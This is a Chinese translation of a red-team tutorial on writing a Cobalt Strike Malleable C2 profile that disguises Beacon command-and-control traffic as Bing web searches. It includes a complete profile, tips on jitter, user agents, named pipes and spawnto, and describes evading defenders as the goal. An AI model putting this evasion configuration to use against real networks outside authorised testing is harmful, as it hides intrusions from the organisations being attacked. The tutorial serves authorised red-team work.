如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

admin 2024年8月9日11:51:26评论58 views字数 12274阅读40分54秒阅读模式
如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

因为目标拥有你的工具集签名而陷入评估并不是一件有趣的事情。如果签名很容易被绕过,那就更不有趣了。Cobalt Strike 的 Malleable C2 是一种在命令和控制 (C2) 流量方面避免该问题的方法。Malleable C2 为操作员提供了一种根据他们的意愿塑造 Cobalt Strike 命令和控制流量的方法。例如,如果你确定目标组织允许员工使用 Pandora,则可以创建一个配置文件,使 Cobalt Strike 的 C2 流量看起来像网络上的 Pandora。或者,如果客户想要测试检测功能,你可以让你的流量看起来像一个众所周知的恶意软件工具包,如Zeus。

Raphael Mudge(@armitagehacker)之前在官方 Cobalt Strike 文档和他的博客中介绍过 Malleable C2:

  • 可塑性 C2 配置文件 - GitHub

https://github.com/rsmudge/Malleable-C2-Profiles

https://www.cobaltstrike.com/help-malleable-c2

  • Cobalt Strike 2.0 - 可塑性指挥与控制

http://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/

  • Cobalt Strike 3.6——权限提升之路

http://blog.cobaltstrike.com/2016/12/08/cobalt-strike-3-6-a-path-for-privilege-escalation/

Will Schroeder ( @harmj0y ) 也在他的文章《美丽新世界:Malleable C2》中介绍了 Malleable C2 。非常感谢 Raphael 和 Will 之前的工作!

这篇文章介绍了如何为 Cobalt Strike 创建新的 Malleable C2 配置文件,并使用 Bing 网络搜索作为示例。这篇文章的目的不是介绍 Malleable C2 提供的所有选项(这就是文档的目的!);相反,目标是提供流量选择和配置文件创建的工作流程。可以在此处找到包含 Bing 网络搜索和我的其他配置文件的 GitHub 存储库。

选择目标配置文件

在决定我们想要模拟的网站或应用程序时,请考虑您的目标环境。理想情况下,我们的 Cobalt Strike C2 流量将与目标网络上的正常流量混合。如果网络防御者最终审查了我们的流量,我们希望最大限度地提高被视为合法的可能性。

在高度针对性的测试中,这可能意味着为每个目标部门创建单独的配置文件。例如,如果我们的目标是金融机构的贷款处理部门,数字文档签名服务(如 Docusign)可能会融入其中。尽可能使用开源情报收集技术列举特定应用程序。

创建配置文件

每个配置文件包含以下元素:

  • 全局选项

  • https 证书(可选)

  • http-get

  • client

  • metadata
  • server
  • output

  1. http-post

  • client

  • ID

  • output

  • server

  • output

  1. http-stager

每个个人资料可能看起来有很多内容需要填写,但它是易于管理的,并提供了广泛的自定义选项。

在进一步了解之前,了解 Beacon 通信的基本原理很有用。Beacon 阶段结束后,它会向服务器发送带有主机元数据的 GET 请求。这由配置文件的http-get客户端部分控制。此后,Beacon 将在指定的睡眠间隔内签到。如果团队服务器有 Beacon 的任务,它将在下一个签到请求的响应中提供这些任务。团队服务器响应由配置文件的http-get服务器部分控制。

当 Beacon 从任务中输出时,它将通过 POST 请求将数据发送回团队服务器(按照配置文件的http 服务器客户端部分所配置)。

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

从 Cobalt Strike 3.6 版开始,可以将 HTTP 动词从 POST 更改为 GET。Beacon 会忽略对此 POST 请求的响应(配置文件中的http-post服务器)。默认情况下,Beacon 使用 HTTP POST 请求执行上述步骤 #3 和 #4。根据您的目标环境或您正在模拟的流量,交替的 GET 和 POST 请求可能会被注意到。在这些情况下,请将http-post部分的动词设置为 GET。

流量捕获

现在我们知道了完成配置文件所需的信息,我们需要捕获合法的 Bing 流量。有两种主要的收集方法:Wireshark/tcpdump 和 Burp Suite。两者都可以使用,但各有优缺点。使用您最熟悉的方法。

Wireshark 通常比 Burp Suite 更易于使用并且可以捕获更多数据,但其过滤功能的学习曲线更陡峭。

在捕获 HTTPS 流量或评估复杂流量源时,Burp Suite 比 Wireshark/tcpdump 更易于使用。Burp 的 Repeater 工具有助于确定哪些 HTTP 标头或 cookie 会随会话而变化。要从 HTTP History 选项卡导出请求,请突出显示请求,右键单击,然后选择保存项目。请务必取消选中“Base64 请求”复选框!这将输出一个 XML 文件,其中包含 GUI 中可用的所有信息。

捕获完成后,检查文件中是否存在看起来“正常”且具有高度可自定义的标头或参数的 URI。对于 Bing Web 搜索,以下 URI 看起来不错:

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

以下是请求和响应:

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

  1. GET /search?q=canary&qs=n&form=QBLH&sp=-1&pq=canary&sc=8-6&sk=&cvid=8148A7693CA44EFB87702930A3122933 HTTP/1.1Host: www.bing.comUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://www.bing.com/Cookie: DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283766828&A=1&IG=C5F7F5AD88C443A0800032D5B0392C4B; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=0A3EA7220EAF42DA9494F932DDD25D52; SRCHUSR=DOB=20161228; _SS=SID=3D34D4B7AFA76BB5299ADD4EAE746ABE&HV=1482912680&R=50&bIm=02:89:; _EDGE_S=mkt=en-us&F=1&SID=3D34D4B7AFA76BB5299ADD4EAE746ABE; _EDGE_V=1; MUID=024D7DA4A7BA6CFE12AA745DA6696DF7; MUIDB=024D7DA4A7BA6CFE12AA745DA6696DF7; SRCHHPGUSR=CW=762&CH=547&DPR=1&UTC=-300; _RwBf=s=70&o=16; WLS=TS=63618509479; ipv6=hit=1Connection: keep-alive
  1. HTTP/1.1 200 OKCache-Control: private, max-age=0Transfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Encoding: gzipExpires: Wed, 28 Dec 2016 08:10:28 GMTVary: Accept-EncodingServer: Microsoft-IIS/8.5P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"Set-Cookie: DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG=B0C5A36E5E554114BCD97FC0D8413045; domain=.bing.com; path=/searchX-MSEdge-Ref: Ref A: E0954F7D860D4530B9E99E7FA8622086 Ref B: 9D5A99D88B2DBFBD59EEA19DF8121265 Ref C: Wed Dec 28 00:11:29 2016 PSTDate: Wed, 28 Dec 2016 08:11:29 GMT
  2.  
  3. d9e....1.cX...Zms.....3..fn..P.%....c.N.w.l. <--Snipped-->

HTTPS 证书

对于我们的新配置文件,我们首先要配置 HTTPS 证书。填写 HTTPS 证书通常很简单:在浏览器中加载目标域并从合法证书中复制详细信息。不幸的是,有些网站没有 SSL 证书。在这些情况下,目标的母公司可能拥有证书,您可以从中获取详细信息。否则,就需要猜测了。

我遇到的一个怪事是,如果您在任何字段中使用标点符号,c2lint (Malleable C2 配置文件测试工具 - 稍后会详细介绍)可能会失败。如果您的证书无法正确生成,请尝试删除标点符号。

Malleable C2 还支持使用有效的 SSL 证书,方法是将密钥库放在配置文件所在的同一目录中,并配置以下选项(摘自文档):

  1. https-certificate { set keystore "domain.store"; set password "mypassword";}

官方文档的使用 SSL Beacon 的有效 SSL 证书部分提供了有关如何执行此操作的分步说明。

以下是在配置文件中配置 Bing 证书的语法:

  1. https-certificate { set CN "www.bing.com"; set O "Microsoft Corporation"; set C "US"; set L "Redmond"; set OU "Microsoft IT"; set ST "WA"; set validity "365";}

全局选项

可塑性 C2 配置文件可以配置许多全局选项来控制流量和 Beacon 的行为。完整列表可在官方文档中找到。至少应设置sleeptime、jitter和useragent选项。

以下是在我们的 Bing 配置文件中设置一些全局选项的语法:

  1. set sleeptime "60000";set jitter "20";set useragent "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";set dns_idle "8.8.4.4";set maxdns "235";

睡眠时间设置用于配置 Beacons 默认签到的频率(以毫秒为单位)。抖动用于按指定的百分比改变签到间隔;它接受 0 - 99 的值。例如,在我们的 Bing 配置文件中,Beacons 将在 48 到 72 秒之间签到。增加签到抖动可以降低某些安全监控解决方案检测到的机会,并且通常可以使我们的流量更好地融合。

useragent配置将用于 HTTP 流量的用户代理字符串。此处提供了常用用户代理列表。如果您可以收集目标组织中的主机正在使用的实际用户代理,则应使用该代理。高级组织通常会监控其环境中是否存在不规则的用户代理字符串 - 大多数公司只使用少数合法字符串。

dns_idle选项用于向 DNS 信标发出信号,表示没有任务排队。我们可以设置任何 IP,但 Google DNS 服务器被主机广泛用于 DNS,因此我们将使用它。同样,这是针对目标 DNS 服务器进行自定义的良好选择。

maxdns配置 Cobalt Strike 上传数据时使用的最大主机名长度。默认值为 255,这可能会在某些安全设备上标记。请记住,此设置配置得越低,产生的 DNS 流量就越多。无论哪种方式,目标都会看到 DNS 流量总体激增,但在将此设置更改为较低值时请务必记住这一点。

我们没有设置两个有用的全局选项,即pipename和spawnto。pipename设置Beacon 的SMB C2 流量中使用的管道名称。如果有理由相信目标在检测到我们时会取证审查命名管道,我们将需要配置此设置。要确定哪些管道名称可能混入其中,我们可以使用 sysinternals 工具:handle.exe

  1. sysinternals: handle.exe -a | findstr /i namedpipe

spawnto实际上是两个设置,spawnto_x86和spawnto_x64,它们会改变 Cobalt Strike 打开并注入 shellcode 的程序。换句话说:任何时候 Cobalt Strike 启动一个新的 Beacon 进程,该进程将是spawnto指定的进程。默认程序是rundll32.exe。

通过将名称与类似的进程或服务名称绑定在一起,配置pipename和spawnto设置以相互补充会很有帮助。以下是一些知名的 MSRPC 命名管道列表,可供您入门。如果您的目标很复杂,并且可能在网络中积极追踪您,那么从主机中提取命名管道列表并修改您的 Malleable C2 配置文件以使用网络上正在使用的命名管道可能是明智之举。

非常感谢 Lee Christensen ( @tifkin_ ) 提供上述命令以及他对命名管道的帮助!

HTTP获取

在我们的配置文件的http-get部分,我们需要配置 Beacon 如何与 Cobalt Strike 进行签入以及 Beacon 如何接收其任务。

我建议在阅读配置文件的其余部分之前先阅读Cobalt Strike 文档的配置文件语言和数据转换语言部分,因为这篇文章并未涵盖所有可用选项。

根据真实的请求和响应,我们可以填写 URI、标头、参数和输出格式:

  1. http-get {
  2.  
  3. set uri "/search/";
  4.  
  5. client {
  6.  
  7. header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
  8.  
  9. metadata { base64url; parameter "q"; }
  10.  
  11. parameter "go" "Search"; parameter "qs" "bs"; parameter "form" "QBRE";
  12.  
  13.  
  14. }
  15.  
  16. server {
  17.  
  18. header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close";
  19.  
  20.  
  21. output { netbios; prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}

URI 选项很简单,我们从实际请求中分配基本 URI。有趣的是,我们可以用空格分隔的 URI 列表为配置文件指定多个 URI。Cobalt Strike 将在签入时为每个主机随机分配一个 URI。http -get和http-post之间的 URI 不能重复;所有 URI 都必须是唯一的。但是,我们可以简单地更改一个字母的大小写以使 URI 唯一。我们已经在 Bing 网络搜索配置文件中完成了此操作,以使 GET 和 POST URI 唯一。

header "key" "value";标头和参数在or语法之后添加parameter "key" "value";。查看最终配置文件,您可能会注意到我们从实际请求中省略了一些标头和 URL 参数。编译后的 http-get 客户端请求大小必须小于 252 字节才能被视为稳定。我们希望挑选最重要的标头和参数,以使我们的请求与实际流量融合在一起。不幸的是,这有时意味着我们必须削减一些数据部分。

Beacon 需要在客户端部分发送给 Cobalt Strike 的关键数据是主机元数据。我们可以将元数据放在标头、参数、URI 或请求正文中。如果我们将信息放在标头、参数或 URI 中,则需要对数据进行编码。Malleable C2 提供四种数据编码类型:base64、base64url、netbios 和 netbiosu(大写)。

以下是每种编码类型的一些示例输出:

  1. #base64nqveOtUC+NlNAyHPVkSLMA==
  2.  
  3. #base64urlhf2D_5jHAA9ftoOe_ZY3zQ
  4.  
  5. #netbioshaklhhicanfeldpmgkefkhgjmhccgbmp
  6.  
  7. #netbiosu HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC

除了编码之外,我们还可以在信息前面添加或附加字符串。Cobalt Strike 从上到下解释命令,并在终止语句(我们指定信息的位置)上进行处理。四个终止语句是:print、header、parameter和uri-append。

例如,在本节的服务器部分,我们配置响应以使用 netbios 对 Beacon 任务进行编码,并将其插入从实际响应中提取的长 HTML 字符串中。我们使编码的任务看起来像 Bing 搜索结果中的值。http -get服务器输出必须使用print终止语句。

HTTP 发送协议

在我们的配置文件的http-post部分中,我们配置了 Beacon 如何将输出发送到 Cobalt Strike。对于 Bing 网络搜索配置文件,我们希望使流量看起来尽可能接近http-get部分。

  1. http-post {
  2.  
  3. set uri "/Search/"; set verb "GET";
  4.  
  5. client {
  6.  
  7. header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";
  8.  
  9. output { base64url; parameter "q"; }
  10.  
  11. parameter "go" "Search"; parameter "qs" "bs";
  12.  
  13. id { base64url; parameter "form"; } }
  14.  
  15. server {
  16.  
  17. header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close";
  18.  
  19.  
  20. output { netbios; prepend "<!DOCTYPE html><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="XML" type="text/xml" /><link href="/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE" rel="alternate" title="RSS" type="application/rss+xml" /><link href="/sa/simg/bing_p_rr_teal_min.ico" rel="shortcut icon" /><script type="text/javascript">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"53",IG:"4C1158CCBAFC4896AD78ED0FF0F4A1B2",EventID:"E37FA2E804B54C71B3E275E9589590F8",MN:"SERP",V:"web",P:"SERP",DA:"CO4",SUIH:"OBJhNcrOC72Z3mr21coFQw",gpUrl:"/fd/ls/GLinkPing.aspx?" }; _G.lsUrl="/fd/ls/l?IG="+_G.IG ;curUrl="http://www.bing.com/search";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+"IG="+_G.IG+"&"+a;}return true;};//]]></script><style type="text/css">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } }}

我们需要对http-post客户端部分进行一些关键更改。首先,我们需要通过使“搜索”以大写字母开头来使 URI 与http-get URI 区分开来。我们还将 HTTP 动词更改为 GET,而不是默认的 POST。在此部分中,我们有两条 Beacon 必须返回给 Cobalt Strike 服务器的信息:会话 ID 和任务输出。我们将 base64url编码的任务输出放在q URL 参数中,我们在此处配置了http-get以发送主机元数据。我们以表单 URL 参数的形式发送会话 ID ,它以前是一个静态值。

在服务器部分,我们镜像http-get选项以保持流量一致性。Beacon 最终将忽略此流量,但它将尽可能保持流量正常。http -post服务器输出必须使用print终止语句。

HTTP 暂存器

配置文件的最后一部分是http-stager,我们在其中配置 Cobalt Strike 在暂存过程中使用的标头。对于 Bing 网络搜索配置文件,我们将镜像我们以前的服务器标头:

  1. http-stager { server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; }}

测试和使用

制作配置文件需要反复试验。幸运的是,我们有一个工具可以让事情变得更容易:c2lint。c2lint对配置文件执行单元测试,以测试编译和 SSL 证书生成。它还会生成虚假流量,以确保请求和响应符合网络标准。

要运行c2lint,请转到 Cobalt Strike 目录并运行:

  1. ./c2lint /path/to/malleable_c2_profile.profile

另外,如果您无法确定导致c2lint失败的原因,请检查以确保所有行都以分号结尾。另一个绊脚石是使用特殊字符,如引号和分号。如果特殊字符出现在配置文件的值中,则必须对其进行转义。

如果可能,请通过安全设备或Security Onion运行 Cobalt Strike 流量,以确保您的流量被标记为目标流量。至少,您可以确保您的流量不会被标记为可疑流量,并更深入地了解蓝队将如何看待您的流量。

如果无法使用安全设备进行测试,请尝试捕获 Cobalt Strike 流量并在 Wireshark 中查看。以下是 Bing Web 搜索配置文件暂存、签入、被要求检索进程列表并发回输出的屏幕截图:

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

概括

Malleable C2 为测试人员提供了大量针对 Cobalt Strike 命令和控制流量的自定义选项。从模拟已知对手到躲避蓝队,Malleable C2 可以增强任何 Cobalt Strike 用户的评估。创建配置文件一开始可能很困难,但很快就会成为习惯。鉴于 Malleable C2 的强大功能以及实施自定义配置文件所需的资源相对较少,为什么不在您的评估中使用自定义配置文件呢?

推荐文章:

  • HTTPS 负载和 C2 重定向器

https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/

  • Cobalt Strike OPSEC 简介

https://bluescreenofjeff.com/2018-01-23-cobalt-strike-opsec-profiles/

  • 设计有效的隐蔽红队攻击基础设施

https://bluescreenofjeff.com/2017-12-05-designing-effective-covert-red-team-attack-infrastructure/

原文始发于微信公众号(Ots安全):如何为 Cobalt Strike 编写可塑性强的 C2 配置文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月9日11:51:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何为 Cobalt Strike 编写可塑性强的 C2 配置文件http://cn-sec.com/archives/3049235.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息